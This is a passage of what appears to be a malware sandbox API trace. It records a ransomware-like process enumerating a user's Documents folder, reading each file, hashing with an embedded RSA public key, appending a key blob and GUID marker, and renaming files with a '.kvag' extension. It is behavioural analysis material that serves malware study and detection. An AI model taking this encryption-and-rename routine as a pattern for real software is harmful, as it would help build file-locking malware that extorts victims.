KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.279] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.280] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.280] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.280] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.280] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.280] GetLastError () returned 0x0 [0119.280] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.280] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.280] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.280] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.281] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.281] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.282] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18a03, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.282] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.282] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.282] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.282] CloseHandle (hObject=0x61c) returned 1 [0119.283] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\applvCx 7 7q.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\applvcx 7 7q.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\applvCx 7 7q.pdf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\applvcx 7 7q.pdf.kvag")) returned 1 [0119.285] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e307ff0, ftCreationTime.dwHighDateTime=0x1d4cbae, ftLastAccessTime.dwLowDateTime=0x415eee50, ftLastAccessTime.dwHighDateTime=0x1d4d264, ftLastWriteTime.dwLowDateTime=0x415eee50, ftLastWriteTime.dwHighDateTime=0x1d4d264, nFileSizeHigh=0x0, nFileSizeLow=0x267a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BUCN1gpGmAwuDQN0e.ppt", cAlternateFileName="BUCN1G~1.PPT")) returned 1 [0119.285] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BUCN1gpGmAwuDQN0e.ppt") returned=".ppt" [0119.285] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BUCN1gpGmAwuDQN0e.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bucn1gpgmawudqn0e.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.285] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=9850) returned 1 [0119.285] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.287] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.287] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.288] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x267a, lpOverlapped=0x0) returned 1 [0119.289] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.289] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.289] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.289] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.290] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.290] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.290] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.290] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.290] GetLastError () returned 0x0 [0119.290] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.290] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.290] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.290] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.290] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.290] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.291] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x267a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.291] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.291] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.291] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.291] CloseHandle (hObject=0x61c) returned 1 [0119.292] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BUCN1gpGmAwuDQN0e.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bucn1gpgmawudqn0e.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BUCN1gpGmAwuDQN0e.ppt.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bucn1gpgmawudqn0e.ppt.kvag")) returned 1 [0119.293] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ec68800, ftCreationTime.dwHighDateTime=0x1d4f00a, ftLastAccessTime.dwLowDateTime=0x520800d0, ftLastAccessTime.dwHighDateTime=0x1d52272, ftLastWriteTime.dwLowDateTime=0x520800d0, ftLastWriteTime.dwHighDateTime=0x1d52272, nFileSizeHigh=0x0, nFileSizeLow=0x121eb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="c2fsy0lIXf9fL9D_.xlsx", cAlternateFileName="C2FSY0~1.XLS")) returned 1 [0119.293] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c2fsy0lIXf9fL9D_.xlsx") returned=".xlsx" [0119.293] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c2fsy0lIXf9fL9D_.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c2fsy0lixf9fl9d_.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.294] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=74219) returned 1 [0119.294] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.296] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x121c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.296] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.297] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x121eb, lpOverlapped=0x0) returned 1 [0119.298] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.298] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.298] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.298] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.299] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.299] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.299] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.299] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.299] GetLastError () returned 0x0 [0119.299] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.299] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.299] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.299] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.299] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.300] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.300] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x121eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.300] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.300] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.300] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.300] CloseHandle (hObject=0x61c) returned 1 [0119.301] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c2fsy0lIXf9fL9D_.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c2fsy0lixf9fl9d_.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c2fsy0lIXf9fL9D_.xlsx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c2fsy0lixf9fl9d_.xlsx.kvag")) returned 1 [0119.303] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe371530, ftCreationTime.dwHighDateTime=0x1d4cafb, ftLastAccessTime.dwLowDateTime=0xc92f37f0, ftLastAccessTime.dwHighDateTime=0x1d4d218, ftLastWriteTime.dwLowDateTime=0xc92f37f0, ftLastWriteTime.dwHighDateTime=0x1d4d218, nFileSizeHigh=0x0, nFileSizeLow=0xbed8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cbbKLa 8g2jylz.xlsx", cAlternateFileName="CBBKLA~1.XLS")) returned 1 [0119.303] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cbbKLa 8g2jylz.xlsx") returned=".xlsx" [0119.303] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cbbKLa 8g2jylz.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cbbkla 8g2jylz.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.303] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=48856) returned 1 [0119.304] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.305] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xbeb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.305] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.307] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xbed8, lpOverlapped=0x0) returned 1 [0119.307] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.308] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.308] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.308] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.308] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.308] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.308] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.308] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.308] GetLastError () returned 0x0 [0119.308] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.309] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.309] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.309] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.309] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.309] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.309] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xbed8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.309] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.309] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.309] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.310] CloseHandle (hObject=0x61c) returned 1 [0119.311] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cbbKLa 8g2jylz.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cbbkla 8g2jylz.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cbbKLa 8g2jylz.xlsx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cbbkla 8g2jylz.xlsx.kvag")) returned 1 [0119.312] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x846c5f00, ftCreationTime.dwHighDateTime=0x1d4d4b9, ftLastAccessTime.dwLowDateTime=0x88d03f80, ftLastAccessTime.dwHighDateTime=0x1d4d423, ftLastWriteTime.dwLowDateTime=0x88d03f80, ftLastWriteTime.dwHighDateTime=0x1d4d423, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cIMF3tKpAi.pdf", cAlternateFileName="CIMF3T~1.PDF")) returned 1 [0119.312] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cIMF3tKpAi.pdf") returned=".pdf" [0119.312] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cIMF3tKpAi.pdf" (normalized: 